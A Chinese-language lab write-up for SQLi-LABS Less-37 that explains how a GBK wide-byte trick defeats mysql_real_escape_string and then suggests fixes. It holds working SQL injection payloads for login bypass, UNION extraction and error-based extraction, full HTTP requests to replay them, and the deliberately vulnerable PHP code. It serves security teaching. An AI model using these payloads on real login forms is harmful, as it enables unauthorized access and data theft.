Less-37 审计报告:POST 登录宽字节注入绕过 mysql_real_escape_string(GBK)

1. 关卡概述

2. 漏洞代码定位

文件: Less-37/index.php

// 第 46 行:表单提交判断
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    // 第 48~49 行:原始输入
    $uname1=$_POST['uname'];
    $passwd1=$_POST['passwd'];

    // 第 60~61 行:mysql_real_escape_string 过滤
    $uname = mysql_real_escape_string($uname1);
    $passwd= mysql_real_escape_string($passwd1);

    // 第 67 行:关键 —— 用 SET NAMES 而非 mysql_set_charset
    mysql_query("SET NAMES gbk");

    // 第 68 行:单引号拼接,SELECT 只有 2 列
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    // 第 96 行:报错回显
    print_r(mysql_error());
}

表单字段:uname、passwd、submit(第 19、22、25 行)。

3. 漏洞分析

• 防御设计:mysql_real_escape_string() 官方转义,但第 67 行使用 SET NAMES gbk 设置字符集,客户端库字符集未同步。
• 宽字节原理:uname=%df%27(0xDF 0x27)经转义 ' → 0x5C 0x27;GBK 将 0xDF 0x5C 解析为一个汉字,0x27 成为真正单引号 → 闭合 username='...'。
• 列数:第 68 行 SELECT 只有 2 列,UNION 需用 1,database()。
• 回显:成功显示 Your Login name/Your Password;失败回显 mysql_error()。

4. 利用方式

步骤一:确认宽字节闭合

• uname=admin%df%27,passwd=任意 → SQL 语法错误,证明闭合成功。

步骤二:万能密码登录(绕过认证)

uname = %df%27 or 1=1-- -
passwd= x

拼接后:

SELECT username, password FROM users WHERE username='<汋>' or 1=1-- -' and password='x' LIMIT 0,1

• or 1=1 恒真,返回第一行用户。

步骤三:UNION 注入取数据(2 列)

uname = %df%27 union select 1,database()-- -
passwd= x

拼接后:

SELECT username, password FROM users WHERE username='<汋>' union select 1,database()-- -' and password='x' LIMIT 0,1

• 结果显示 Your Login name:1、Your Password:security。

步骤四:报错注入

uname = %df%27 and extractvalue(1,concat(0x7e,database()))-- -
passwd= x

回显 XPATH syntax error: '~security'。

5. Yakit 重放数据包

POST /sqli-labs/Less-37/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 56
Connection: close

uname=%df%27%20union%20select%201,database()--%20-&passwd=x&submit=Submit

报错注入报文:

POST /sqli-labs/Less-37/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 69
Connection: close

uname=%df%27%20and%20extractvalue(1,concat(0x7e,database()))--%20-&passwd=x&submit=Submit

Content-Length 以实际发送字节数为准;%df%27 必须保持 URL 编码。

6. 修复建议

修复一:统一字符集 + 参数化(PDO)

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=gbk', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT username, password FROM users WHERE username = :u AND password = :p LIMIT 0,1");
$stmt->bindValue(':u', $uname1, PDO::PARAM_STR);
$stmt->bindValue(':p', $passwd1, PDO::PARAM_STR);
$stmt->execute();

修复二:mysqli 预处理

<?php
mysqli_set_charset($mysqli, 'gbk');   // 关键:同步客户端字符集
$stmt = $mysqli->prepare("SELECT username, password FROM users WHERE username = ? AND password = ? LIMIT 0,1");
$stmt->bind_param('ss', $uname1, $passwd1);
$stmt->execute();

修复三:加固要点

• 用 mysqli_set_charset/PDO DSN charset,禁用裸 SET NAMES;
• 推荐直接使用 utf8mb4;
• 登录认证不靠 SQL 拼字符串;密码哈希存储;
• 关闭 mysql_error() 回显;数据库最小权限;升级 PHP 7+ / 8+。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展、MySQL 使用 GBK。
• 注意:本关 UNION 只有 2 列,勿用 3 列 payload。